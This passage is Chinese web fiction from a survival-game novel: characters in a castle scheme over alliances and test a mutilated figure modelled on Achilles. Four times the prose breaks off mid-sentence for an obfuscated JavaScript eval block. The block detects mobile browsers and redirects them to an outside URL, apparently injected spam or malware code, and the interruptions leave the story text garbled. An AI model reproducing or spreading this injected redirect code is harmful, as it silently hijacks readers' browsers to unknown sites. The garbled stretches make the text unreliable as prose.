陆舸语塞,咳嗽两声,脸色不虞,不过还是忍住了,“既然我都来了你也放我进来了,不如听我把话说完?” 项纨打了个哈欠,不耐烦:“有话快说。” 陆舸清了清嗓子,“我知道,你现在对我的印象应该是差透了——” “知道就好。”项纨毫不客气。 “……” 陆舸面色一僵,继续道:“但请你相信,我之前的那些行为,其实很大一部分都不是出自我的本意。” 项纨的瞌睡清醒了些,她挑眉看着他:“哦?” 陆舸朝她微微一笑,这是自打见到他一来,他第一次朝自己露出示好的笑容,“其实在这之前,我完全不认识你,我对你的了解全来自于旁人的转述。” 这个旁人指的是谁,不言而喻。 项纨点点头:“然后呢?” “所以,”陆舸继续说,“要不是别人的挑唆,我根本就没有针对你的动机和必要,你懂我的意思吗?” 懂,当然懂。他的意思不就是他之所以针对自己,完全就是被岳琪给骗了,他单纯他无辜他被人利用。 项纨再一次感受到人为了达到自己的目的,真的是什么鬼话都说得出口。 她指了指左手边的墙,问陆舸:“你大半夜来找我说这些,岳琪知道吗?” 陆舸倒是很坦然:“她当然不知道,不过她知道不知道都不要紧,我说的都是事实。” “我希望你好好考虑考虑我的之前的提议。项纨,你是聪明人,你应该知道咱们如果联手的话,成功通过这堂课的几率比你一个人单独行动强。” 明明是想寻求合作,说出的话和开口的语气却藏不住一股子傲慢劲儿,仿佛对自己是一种施舍。 项纨手一抬:“打住打住。” 陆舸闭了嘴,等着她的下文。 “既然来寻求合作,总该有点诚意吧?”项纨朝他露出一个玩味的笑容,“否则我怎么知道我会不会是下一个岳琪呢?” 这就是明摆着说他过河拆桥了。 被她这么说,陆舸脸色微微变了,硬挤出一个笑容,问项纨:“怎样算是有诚意?” “这还要我说吗?”项纨扶着脖子扭了扭,脖颈的酸痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931388|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓解一些,“这样吧,如果明天早上你主动请缨当那个陪伴阿克斯的人,我就答应跟你合作,怎么样?” 陆舸的脸色更难看了几分,唇角微微抽了抽,嘴唇翕动,半晌没说出话来。 “要让我和你合作,就要让我认可你有价值。”项纨言辞犀利,“连活着从阿克斯房里出来都做不到,我还怎么相信你能活着完成这堂课?” 激将法奏效,陆舸脸上青一阵白一阵之后咬咬牙,像是下定了某种决心。 “好,就这么说定了!” 项纨微笑点头:“那,慢走不送?” 陆舸转身,临出门时回头,“项纨,别忘了我们的约定。” 门被打开,再关上,房间里重归寂静。 于露从床上爬起来,脸上半点困意都没有,有的只有兴奋:“我靠我靠,还真让你说中了!你怎么猜到他一定会来找你?” 项纨脸上的笑容淡了下去,“陆舸这样的利己主义,在有可能再次缺失一名盟友的情况下,一定会想方设法不让自己处在劣势。” 自己能成功在阿克斯房里度过那一晚,且和他交过手,他就知道自己既有武力,脑子应该也够用,所以她一定会成为他的第一目标。 “啧啧!”于露连声感叹,“这个人还真是……为达目的不择手段啊,那个琪琪恐怕还不知道自己已经被卖了吧?” 项纨扫她一眼:“闭嘴,睡觉。” 于露悻悻“哦”了一声,又倒下了。 这一晚,项纨总算把精神养了回来。 新的一天,项纨醒得很早,于露没睡安稳,察觉到旁边人的动静,也醒了过来。 两个人很迅速的将自己收拾好,在房间里静静等着萨瑞亚。 没一会儿,门口响起了敲门的声音。 项纨三两步上前开门,萨瑞亚站在门口,项纨眼睛微微睁大,因为在萨瑞亚身后,还跟着一脸菜色的宋宇。 他成功地捱过了一天一夜,只是…… 项纨的视线缓缓向下,落在他沾满血的手臂上。 看样子是受了伤,这脸色,血条估计损耗了不少。 “美丽的姑娘,出来吃早餐吧。”萨瑞亚朝两人笑着,发出邀请。 于露听见早餐两个字顿时想到昨天的傅小雅,有点应激,想吐。 项纨面色如常地点点头,“这就来。” 萨瑞亚并未在她们门口多做停留,转身走向下一间房间。她虽然走了,宋宇却还站在原地,看脸色,估计是走不动了。 “你还好吗?”出于人道主义,项纨开口询问道。 宋宇有些脱力地靠着墙,滑坐到地上,看上去不太好。 恰好这时候隔壁的门开了。 琪琪耷拉着一张脸出来,一眼看到墙边的宋宇,如看到救命稻草般眼前一亮:“宋宇!”她飞快小跑过来,把宋宇扶起来,激动得快哭了:“太好了……”还活着! 陆舸紧随其后出来,见到宋宇,表情并没有太惊讶,只是朝他点点头,算是打过招呼。 随即,他转头,看向项纨。 项纨和他对视,下巴朝萨瑞亚的方向一扬,提醒他昨晚的约定。 陆舸面色一沉,扭头看向萨瑞亚,上前一步,低声对她说了些什么。萨瑞亚面色一僵,深深看了他一眼,然后转头,伸手指了指于露,说:“今天该轮到她了。” 项纨脸色如常,心想:成了。 18. Achilles 事实上,她压根儿没想过让陆舸成为今天陪伴阿克斯的人。 她的目的只有一个——让于露成为下一个目标,这是她前一天晚上和于露商量好的。 萨瑞亚可是个疑心很重的人,主动要求成为下一个目标的话她必然会怀疑,项纨知道不能这么干,所以只好利用一下陆舸了。 听到萨瑞亚的话,陆舸先是松了口气,随即想到昨晚的约定,转头不着痕迹地看了项纨一眼,露出一个遗憾的表情,那样子仿佛在说:你看,这可不是我不去,是她不让我去的。 项纨淡淡地扫了他一眼,什么也没说。 于露回头紧张地看了看项纨,然后被萨瑞亚带着离开,两人的身影消失在楼梯拐角。 琪琪把宋宇扶了起来,宋宇的状态看起来不大好。这时候这两人都在,陆舸自然不好光明正大的来招她搭话。他回头看着宋宇,问了句“怎么样?没事儿吧?” 宋宇苍白着一张脸,说话都费劲:“没、没事。” 琪琪替他擦了擦额头的冷汗,带着哭腔:“发生什么事了,你怎么会受这么严重的伤?” 项纨看着抓不住重点的琪琪,有点无语,出声提醒:“不好意思打断一下,你们要不先给他止个血?”再这么耽搁下去,宋宇估计会成为第一个成功从阿克斯房里出来但死于失血过多的人。 “止血……”琪琪被提醒,如梦初醒般。“对对!止血,可是……我不会!” 宋宇有点脱力,说话的声音都颤巍巍的,“……我会,你……照我说的做。” “好,你说!” 在宋宇说几个字顿几秒钟的指导之下,琪琪终于艰难地完成了帮他止血的操作。宋宇的精力消耗过大,琪琪扶着他回了房间休息。 项纨转身下楼,准备去吃早餐。 陆舸跟在她后头,在她坐下的时候坐到了她的旁边。 项纨拿起一块儿白面包往嘴里塞,看了眼旁边一动不动的陆舸,奇怪道:“你怎么不吃?” 陆舸:…… 昨天的回忆开始攻击他,反胃的感觉若有若无。虽然今天桌上已经没有了那口锅,但是…… “咳,我不饿。” 项纨似懂非懂地“哦”了一声,自顾自吃自己的。 “项纨,我们昨晚的约定……是奏效的吧?”陆舸有点不放心,问道。 毕竟他虽然提了,但最后被萨瑞亚选中的人不是他,他怕项纨会反悔,于是向她确认。 “当然。”项纨咀嚼着难嚼的面包,说话的时候有些含糊不清,“虽然你没有发挥什么作用,不过既然说好了,当然是生效的。” “……” 陆舸总觉得这话像是在挖苦自己,不过他没有证据,毕竟项纨说的也是事实。 他沉默两秒,再次开口:“那,你……不,我们接下来要怎么办?” 项纨总算把一口干巴面包咽了下去,听见他的问题,项纨眼睛微微一眯,装傻充愣:“下一步……其实我还没有什么具体的打算,你呢,有什么想法,说来听听?” 陆舸盯着她看了几秒,从她的表情分辨不出她说的话是真是假,“我确实有个想法。” 项纨对他做了个“请”的动作示意他说。 陆舸朝楼上看了一眼,收回视线,扭头看向项纨,压低声音:“你这么聪明的人,应该也已经猜出来这堂课的是以哪个故事为原型构架的了吧。” 项纨捕捉到他话里的关键词,故作惊讶地问:“你猜出来了?我知识储备比较浅薄,还真不知道。” “你不知道?”陆舸眉梢上挑,似乎对她的话不是很相信。 项纨面不改色,坚持自己的说法:“我还真不知道,不过既然你已经猜出来了,我们又已经达成结盟的共识,你可以告诉我吧?” 话音落下,陆舸的视线停留在她身上,似乎是在判断她说的是不是真的。 大概项纨的演技太好,陆舸依然没办法判断,不过他开口了:“当然,既然是联盟,那信息一定是要同步的。” 项纨点头。 “这堂课的背景原型,是希腊神话——阿喀琉斯之踵。”陆舸边说着,边打量项纨的神情。 项纨露出一个疑惑的表情:“阿喀琉斯?” 带着疑问的语气,仿佛她头一回听说这个名字。然而事实上,项纨心里确实有点小小的惊讶。没想到陆舸还真的想到了这堂课的背景框架,看来确实有两把刷子。 仿佛是确认了项纨真的是第一次听到“阿喀琉斯”这个名字,陆舸的语气稍稍平和,少了些试探,“没错。”他很速度的把关于阿喀琉斯的传说给项纨复述了一遍,又提到:“你之前不是想知道半夜来敲门的是谁吗?既然已经合作了,我也不藏着掖着了。” “是谁?” “没猜错的话,那是死神。不过西方神话我读得也不多,具体叫什么名字我不记得了。”陆舸说。 项纨做出一副恍然大悟的表情,好像才想明白似的:“那这么说,阿喀琉斯就是阿克斯的原型,那死神岂不是来杀他的。” 陆舸点点头,眼珠子微微一转,对项纨说:“所以,我想我们破局的关键应该就是找到阿克斯的致命弱点,而且我们的时间不多了。” 啧,这个陆舸还真有点脑子在身上,不是个完全只会靠拳头的草包。 项纨了然地点点头,放下手里的面包,拍掉手上的面包渣,“难怪你要来找我合作。说吧,接下来你打算怎么办?” 终于要切入正题。 陆舸的眼神一亮,眼底划过一抹狡黠。 骗人这种事情,就是要三分真七分假,这样才能更好的引诱目标上钩。所以陆舸给出了一堆真消息,“很简单,既然是要找到他的致命弱点,那肯定有人要陪在他身边。原本今天你不让我提出来我也打算主动请缨的,可是你也看到了,萨瑞亚对我似乎不太满意。” “嗯,然后呢?”项纨语气认真,问得也认真。 “昨天的傅小雅和宋宇你也看到了,一个死无全尸,一个受了严重的伤。”陆舸继续娓娓道来。 “所以?” “所以……只有你,”他终于切入正题,“只有你从那里全身而退,我知道你一定有什么办法保护自己,你这么聪明,就算再过去一次,安全出来对你来说也不是什么大问题,对吗?” 对个屁。 项纨下巴微微一挑,神情有些冷淡的看着她,做不解状:“安全出来有什么用呢,找不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15935301|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他的致命弱点那不是白搭吗?” 陆舸一只手搭上项纨的肩膀,鼓励似的拍了拍:“不会的,你这么聪明的人,我相信你一定可以。” “而且,现在你只剩自己一个人了,别无它选,不是吗?” 项纨看着他嘴角那抹狡黠得逞的笑,偏了偏脑袋,真诚发问:“威胁我?” “诶,”陆舸抽回手,“话不要说得那么难听,双赢的事情,怎么能叫威胁呢?” 项纨收回自己刚才的想法,没脑子还是没脑子,就算让他瞎猫碰上死耗子,那还是一个蠢货。 “行,”项纨假装考虑了一会儿,艰难做出决定般点了点头,“那就照你说的,不过就算我跟萨瑞亚主动请缨,她也不一定会选我吧,今天早上你主动提出来,后果我们也都看到了。” “放心,我已经想到办法了。”陆舸说。 项纨没说什么,填饱了肚子,准备起身的时候忽然想起来:“对了,你的室友还活得好好的,他们的存在应该不会影响我们所谓的联盟吧?” 陆舸的脸色微不可查的变了变,很快恢复正常,他笑得坦然,回答似乎也很坦然:“当然不会,放心。” 项纨深深地看了他一眼,意味深长地丢下一句:“希望如此。” 眼看项纨转身上楼,陆舸的心思开始活泛起来。 他刚才确实不算骗项纨,宋宇虽然是活着回来了,可他现在那个状态,只能说……是个拖累,但他也不是一无是处,至少他活着,一定程度上让他们这边占据人数优势。 项纨的室友现在在阿克斯身边,她现在几乎是一个单打独斗的状态,如果她稍微识时务一点,自己倒也不是不考虑利用完她后把她带出这鬼地方。 楼上。 宋宇虚弱地躺在床上,琪琪坐在他旁边,一边抽泣,一边替他擦掉因疼痛不断冒出的冷汗。宋宇的状态虽然很不好,但还是强撑着安慰琪琪:“琪琪,我没事儿,别哭。” 琪琪抹了把脸,看着面色苍白如纸的宋宇,一时间如鲠在喉,不知道该不该把昨晚的事情告诉宋宇。 宋宇看出她有心事,勉强打起精神,问道:“怎么了?你有什么话想跟我说?” “宋宇,你在那个地方到底发生了什么,为什么会弄成这个样子?”琪琪犹豫一会儿,还是先了这个问题。 宋宇闭上眼缓了缓,脑袋里浮现起昨晚的记忆……他打了个寒战,声音也有些颤抖:“那个东西……阿克斯……” “他怎么了?”琪琪追问。 宋宇叹了口气:“他就是个变态。他的房间布局很怪,里头各种机关,一旦惹到他不顺心,他就会惩罚你。” 琪琪倒吸一口气:“那你怎么惹到他了?” “他问我,觉得他现在残废的样子是不是很恐怖。”宋宇咳了两声,说话都有些大喘气。 琪琪紧接着追问:“那你怎么回答的?” “我还没来得及回答……”他只是犹豫了几秒,还在组织语言,就激怒了阿克斯。 代价是宋宇被他启动的机关伤砍伤了两只胳膊。那些机关就像长了眼睛,一旦启动,根本躲不开。 “后来他再问其他的,我不敢不答也不敢不顺他心意答。” 19. Achilles 琪琪听得越发沉默。 宋宇进去再出来都去了半条命,要是轮到她进去,能不能出来还是个未知数,更何况…… 见她沉默不语,宋宇低声询问:“琪琪,怎么了?脸色怎么这么难看?” “……宋宇,”琪琪犹豫着开口,“我感觉陆舸可能……” “可能怎么?” “可能已经和项纨她们一个阵营了!”琪琪咬牙,一股脑道,“昨晚你不在,他半夜趁我睡着的时候到隔壁房间里和项纨说了好一阵的话,我不知道她们到底说了什么,不过陆舸这个人你是知道的,只要形势对他有利,他就什么也不顾了!” 听了琪琪的话,宋宇也沉默了。 他知道琪琪不会骗自己,自己这个室友的品性如何他也清楚,这么看来,他是时候得给自己和琪琪找条退路了。 …… 于露一言不发跟在萨瑞亚身后,表面淡定,实际上心跳加速,整颗心已经提到了嗓子眼儿。 萨瑞亚停下脚步,见状,于露也连忙站定。见她果然如项纨所说按下机关打开了大门,于露特意留意了下机关的位置,然后面上毫无波澜地踏进了房间里。 等她完全走进去,大门在她身后缓缓合上。 现在是白天,屋子里却很暗。 于露低下头,按照项纨教她的,扫开地上那片豆子,小心翼翼往里走。 越往里,萦绕在鼻尖的那个腥腐气息越强烈。直到走到最里头,看见了瘫倒在床上的阿克斯,于露终于明白这房间里腥味从何而来。 阿克斯的头上缠着绷带,绷带上头隐隐渗出血迹,项纨说他谨慎的一只眼珠子也被挖了,看这样子,应该也只是做了简单的处理。 于露打了个寒战,眼周一阵幻痛,她赶忙摇头搓了搓胳膊,驱散心中的寒意和惧意,缓步靠近阿克斯。 阿克斯现在完完全全看不见东西,听觉便变得格外敏锐。 依然是嘶哑如野兽的声音,他问:“谁在那里!” 他没了眼睛,分不清白天黑夜,对进到房间的人更加戒备警惕。 于露快速呼吸两口,调整语气,温柔回应他:“亲爱的阿克斯勇士,是我,您的准新娘候选人。” 她看见阿克斯的身形在听见她的回答之后僵了一瞬,随后,耳边响起他自嘲的声音:“阿克斯勇士?很久没有人这么称呼过我了。” 尽管是自嘲,但于露能听出他并没有不高兴,反而,于露甚至从他的语气里听出了一丝喜悦。 她悄悄松了口气,心道项纨教她的说话艺术果然有用。要是她自己进来,恐怕死也不知道称呼床上这位一声“勇士”。 她赶忙接话,依旧是按照迟里教的,专挑他爱听的话说。渐渐的,于露能感觉到,这个阿克斯跟她说话的时候防备的语气不再那么重了。 甚至,在她表达了对他现状的心疼之后,阿克斯竟然邀请她到他的床边坐一坐。 她应了下来,做了几秒钟心里建设,走到阿克斯的床边,轻轻坐下。 阿克斯感觉到身边的床位凹下来一些,就像对项纨说的那样,阿克斯开始跟她诉说起了自己的悲惨经历,从勇士的陨落到爱慕者的离开。 这些话题项纨都教过她该怎么回应,于是阿克斯对身边的人越来越满意,他听着于露的声音,大概判断着她的方向,然后朝于露的方向语气有些悲切地询问道:“美丽的女士,你可以抚摸一下我的脸吗?” 于露心里很想拒绝,她嘴角抽了抽,但为了保住小命,只得答应:“当然。” 她弯下腰,伸手靠近阿克斯的脸颊。 下一刻,阿克斯将自己的脸贴到她的手上,于露忍着手上奇怪的触感,听阿克斯发出一声满意的喟叹,心里默默倒数。 3、2…… “你让我很满意,作为奖励,你可以问我一个问题,当然,仅此一个。” 阿克斯的声音打断了她的倒数,同时也让于露心里狠狠震惊,又被项纨说中了!只要让这个阿克斯的情绪得到满足,她们就可以得到一次提问的机会!这果然是项纨嘴里的“固定机制”! 于露赶紧回忆项纨让她问的问题,“我的问题其实……”她顿了顿,眼睛一闭……拼了!“伟大的阿克斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952658|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勇士,有一件事情困扰了我许久,我没有什么问题想问你,但我希望你能做那座指引照亮我前路的灯塔!” 尽管阿克斯的脸上缠着纱布,但于露还是看出他此时的表情,如果他眼睛还在的话,肯定是满眼的茫然——为眼前不按套路出牌的人。 房间里安静了好一会儿,阿克斯才开口:“愿意为你效劳。” 于露咽了口唾沫,照项纨教的,张口就是编:“很久之前,我受人逼迫要我嫁给一个我不爱的男人。后来我心有不甘,于是趁家里不备,逃了出去。” “一次夜里,逃跑的路上,我不小心掉进一条河里,好在当时岸边有位男士,他拉住了我一只胳膊,将我拽上来。除了胳膊,我整个人都湿透了。” “后来,我被家里的人抓了回去,他们依然逼迫我嫁给我不爱的那个人,我心灰意冷,于是选择自我了断。” “也就是这时候,我发现,我好像被诅咒了!”于露的语气浮夸,“我尝试了很多办法,绳绞匕首喝药,可是不论什么办法,我总是能够平安无事……” “亲爱的阿克斯,你说我该怎么办呢?” 于露说着,还装模作样地抽泣了两声。 阿克斯从她说到“自我了断”这里便再没了动静,他安静的躺在床上,如果不是胸口尚在起伏,于露甚至会觉得床上躺的的是一具尸体。 于露的心情十分忐忑,项纨在教她这番说辞的时候也明确表示过她并不确定阿克斯会不会识破,更不敢肯定他听完会有什么样的反应,一场博弈,赌赢了或许能破局,赌输了,小命大概就要交待在这里了。 时间一分一秒的过去,于露也变得越来越焦灼。这种大刀悬在头上的感觉实在是太难受了,她心里默念:要杀要剐能不能给个痛快! 就在她以为这次多半是要交待在这里的时候,床上半晌没动静的阿克斯终于开口了。 他的语气平静里透着一丝不易察觉的颤抖,声音低哑:“你说的这些,是真的吗?” 于露一口气缓缓的,无声的舒出,悬起来的心稍稍下落。 看样子,赌赢了。 20. Achilles “千真万确。”于露继续表演,“我现在迷茫极了,不知道接下来到底该怎么办。” 阿克斯面朝于露,嘴角微微上扬,似乎听到什么让他高兴的信息。于露注意着他的表情变化,脑子里回想起项纨昨晚的话——“当一个自认为独行于世间的怪物找到同类,他做的第一件事,就是共鸣。” 事实证明,阿克斯的共鸣比于露想象得来得要突然得多。他忽然用残肢支撑着身子,一点点地朝着于露的方向蠕动,离于露越近,阿克斯脸上的笑越深。 于露咽了口唾沫,上前一步,扶住阿克斯的肩膀。 感受到她,阿克斯身体僵住,同时,整个人不知是因为兴奋或是别的什么原因,微微颤抖着。 “美丽的姑娘……”阿克斯忽然开口,语气丝毫不加掩饰的激动,“不枉费母亲为我举办这场庆功舞会,终于……终于让我遇见了你!” “我?”于露演傻白甜还是很拿手的,一个懵懵的“我”字,把对现状的迷茫和阿克斯的话的不解表达得淋漓尽致,成功让自己在阿克斯心中的可信度又高一分。 阿克斯呼吸都急促了起来,重重点头,“对,你!你知道吗,我们……”他顿住,“我们……很有缘分。” 于露感觉到阿克斯原本应该想说和她是同类之类的话,只不过大概是谨慎使然,所以换了个委婉一些的说法。 她继续扮无知:“为什么这么说?” 阿克斯胸膛上下猛烈欺负两下,看起来有什么话就要脱口而出,于露眼睛微微瞪大,等待他的下文。可是半晌之后,阿克斯只扯着嘴角,露出一个不怎么能看得出情绪的笑容,然后问她:“你叫什么名字?” “我叫……里沙。”于露报出项纨给自己取的艺名。 “里沙,里沙……是个很不错的名字。”阿克斯喃喃两声,而后评价道,“里沙,你想不想知道自己身上的秘密?” 上钩! 于露克制住内心的激动,疑惑道:“我身上的秘密?” 阿克斯点头:“没错,关于你……为什么不能成功。” 她惊讶地说:“你知道?” 空气安静了两秒,阿克斯点头:“我知道。” “请你告诉我!” “现在我还做不到。” “为什么?” “因为,时间还不到。”阿克斯说,末了看向于露的方向,尽管脸上缠着绷带,但从他的表情于露不难看出来如果他的眼睛尚在,此刻一定是一动不动地盯着自己。 “美丽的里沙,你愿意相信我吗?”阿克斯忽然问。 于露立刻接话:“当然,我百分百相信你。” “那么,请你现在先回到自己的房间休息,落日时分再来找我。”阿克斯说,“届时,我将带你去到那个地方,将你身上的秘密告诉你。” …… 项纨在古堡里转完两圈,基本熟悉完地形之后就回了房间,刚坐下,屁股还没坐热乎,就有人在门口敲门。她起身去开门,看着来人,项纨眉毛一挑,环着胳膊往门上一靠,看起来没有打算邀请对方进去的意思。 琪琪脸色有点微妙,她似乎有点不太敢看项纨,目光迅速在她脸上过了一眼就垂了下去,开口的时候声如蚊呐。“项纨,我们能不能进去说?” 项纨直截了当地拒绝:“不能,有什么事情就在这儿说吧。” 琪琪:“……” 她左顾右盼,确定陆舸不在附近,心一横,开口道:“项纨,虽然我知道我接下来的要求听上去很扯,但是……你如果一定要考虑和人联盟的话,能不能考虑我和宋宇?” 果然很扯。 项纨表情未变,“为什么?” 琪琪抿了抿唇,状似艰难地开口:“我知道我之前做的事的确不地道,但是项纨,陆舸绝不是一个好的联手人选。” “哦?” “他和宋宇是室友,我对他的了解比你多些。这个人睚眦必报,你之前下了他那么大的面子,还伤了他,就算他转头好像既往不咎来找你联盟,但你真的放心吗?” 项纨耸耸肩,“说实话吗?其实还好。” 琪琪被她的自信一噎,不过仍不放弃:“我觉得现在这个处境,咱们其实可以把以前没有必要的恩怨通通放一放,毕竟活着出去才是最重要的不是吗?” “你说得对。” 琪琪面上一喜:“那你是答应考虑我们了?” 项纨狐疑:“你从哪个字听出来的?” …… 琪琪的耐心倒是比陆舸强一些,尽管被她反驳了好几次,还能耐着性子,“这样吧项纨,我正式为之前的事情向你道歉。是,我是在背后传过你的一些八卦,但我也确实不知道实情是什么样的,而且当时几个人过来找你也是一时情急,你能理解吗?” “不能。” 这油盐不进的样子让琪琪十分无力,眼看说不通,她只能换了个游说的方向。 “项纨,现在你只剩下自己一个人,就算陆舸在能顺利出去之前真的和你联合起来,那万一在出去的时候临门一脚将踹回来,你不得不防啊。” 要不是项纨没真打算跟谁联盟,估计还会因为她这番挑唆花点心思。 她微微一笑,从容道:“你们为什么都觉得我只有一个人了?” “那个一看面相就是个纸老虎的女人进去了还能出得来吗?项纨,你的室友什么样子,你应该比我更清楚——” “我好像听见有人在说我坏话?” 于露的声音从琪琪身后传来,她的话戛然而止,不可置信地转过身去。在看见于露安然无恙出现在她身后时,下意识看了看古堡外的天色——现在是白天没错啊! 于露没好气地白了她一眼,阴阳怪气道:“有些人啊,火烧眉毛了还有空嚼舌根,要我说,心态还是好。” 琪琪已经来不及生气了,她的惊讶大于愤怒,现在除了满脑子的问号什么别的想法都没了,“你!你居然没事?!”就连宋宇都去了半条命,这个女人居然毫发无伤? 而且为什么这么快就能从里头出来?琪琪百思不得其解。 “怎么,你们那边的人的折在里头就让你们想当然地觉得所有人都不行?”于露损起人来也是有一手的,“人不行就不要怪路不平,自己没本事老实认栽就好了。” “你!”琪琪被她嘲讽一通,正想发作。 项纨瞄了于露一眼,给她一个“差不多得了”的眼神,然后转头对琪琪开口:“我们俩还有事要说,那我就不送了?” 又是明晃晃的逐客令,偏偏琪琪也没有继续逗留的理由,她不甘心地看了两人一眼,扭头脚步匆匆离开。 于露朝着琪琪离开的方向嗤了一声,“一个个的,就知道趁虚而入……” “闭嘴。” “我……”于露还想叭叭两句,看见项纨的表情,话吞回肚子里。 “进来。” “哦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971238|176805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 回到房间,项纨直截了当:“怎么样?” 提到这个,于露语气稍稍有些小激动:“我有时候真觉得你是学算命的!还真全都让你给押中了,我按照你教我的说法糊弄他,他现在还真以为我也是掉进过冥河里的人。” 项纨点头:“遇到同病相怜的时候,人的戒备心最弱,他现在把你放回来,是晚上准备有什么动作?” 于露震惊地看向她,自己还什么都没说呢,项纨居然又猜到了!恐怖如斯…… “是,他让我落日之后再过去,说是要带我去一个地方,你说他都那副样子了,还能带我去哪儿?” 项纨仍然用看白痴的眼光看她:“这个世界上有种工具叫轮椅。说是他带你,但你大概率是要当劳工了。” 于露嘴角抽了抽,“劳工就劳工!”硬气完,又小心向项纨确认,“你晚上也会跟着一起出去的吧?” 废话。 项纨点头,说:“到时候我会跟在后面,而且我有预感……” “什么预感!” 项纨没说话,伸手摸了摸别在腰间的匕首。她有预感,今晚,或许就是通过这堂附加课,离开这个贵地方的最佳时机。 两人正说话,门口传来敲门声。 项纨感觉自己这两天干得最多的事就是开门,她起身,于露调侃:“业务这么繁忙,看来隔壁这群人是打算缠着你了。” 项纨回头给她一个警告的眼神,于露连忙闭嘴。 开门,门口站着陆舸。 对方往房间里看了一眼,一下就看见了坐在床边的于露。 刚刚听岳琪说这个于露从阿克斯那里回来了,他还不怎么信,没想到竟然是真的。 他拉住项纨的胳膊,试图把她拉到门外。项纨皱眉,虽然有点不悦,没说什么,跟着他走了出来。 一到拐角,陆舸松开了她,竟然用一种质问的语气:“项纨,她回来了你为什么不告诉我?” 项纨无所谓地笑了笑:“我不告诉你,你不也很快就知道了吗。” 陆舸皱眉:“既然我们都说好了结盟,这种事情你不是应该第一时间告诉我?” “是啊,既然我们都说好了结盟,那为什么和你还会跟岳琪私下交换信息呢?”项纨索性打开天窗说亮话。 刚才情急来确认此事的真伪,现在缓过神来,陆舸才意识到这件事不妥的地方,他一下子语塞,“我……” 不够他脑子转得倒是挺快的,很快为自己想好了理由,“我刚刚碰巧遇到了她,她就顺口把这事儿告诉我了。” 项纨点头,不再多评价,“嗯”了一声,表示自己知道了。陆舸见状,心里有种不太好的感觉,试探道:“项纨,我没有指责你的意思,只是咱们刚说好的联盟,我心里总归不大放心,我相信你能明白我的顾虑,对吗?” 项纨依然点头,没什么表情。 陆舸摸不准她什么意思,有点着急地补充:“同时我相信,这不会影响我们的联盟,是吗?” “当然,你多虑了。” 听她这么说,陆舸稍稍放松了些,询问道:“既然她出来了,那接下来,是不是该像我们说好的那样?” 这个陆舸也是图穷匕见了。 项纨眉梢上挑,面上不显,他说什么都应下:“行,明天我会主动去找萨瑞亚。” 此话一出,陆舸的眼中划过一抹不易察觉的喜色。 “那就这么说定了。” 21. Achilles 见项纨回来,于露问她:“怎么样?” “只要他不要自作聪明主动跑到萨瑞亚面前替我主动请缨,他能活着出去的几率还是很大的。” 两人把剩的白面包分食了些,躺下养精蓄锐,为夜晚的来临做准备。 房间里静悄悄,没一会儿,身侧传来均匀的呼吸声,于露睡着了。项纨枕着自己的胳膊,抬头看着天花板,没有困意,在想事情。 她就这么清醒的,睁着眼睛,感受着时间一分一秒流逝,直到房中的光线慢慢变得昏暗。项纨从床上爬起来往窗外一看,夕阳还剩一半身子在云层外。 她转头叫醒于露:“起床了,太阳下山了。” 于露没有睡得很死,一听见动静立马从床上弹了起来:“怎么了怎么了!” 她看向项纨站的方向,夕阳光从窗口倾洒进来,项纨逆着光站在窗口,整个人笼在一片阴影中,表情看不清。 “你该过去了。” 于露揉了揉眼睛,醒了下神,再次跟她确认:“你会跟着我吧?” “嗯。” 得到项纨的回应,于露在心里给自己鼓了鼓劲儿,临出门前,不放心地又看了项纨一眼,见项纨脸上露出不耐烦的神色,这才赶紧调头出门。 项纨思索了下,把身上繁重的裙子脱了下来,随手扔到一边。将头发绑成利落的丸子头,匕首绑好,项纨在心里默着时间,等于露出去差不多有十分钟的样子,项纨看了一眼窗外,点点红光已经聚成一条,时间差不多了。 她轻手轻脚推开房间门走了出来,带上门后,观察四周。周围的灯光一如既往的暗,假如有人躲在暗处,一时半会儿还真看不出来。她谨慎地靠着门板蹲下,侧耳听着廊间的动静。 基本确定没人发现她,项纨勾着身子,蹑手蹑脚挪到了楼梯处。 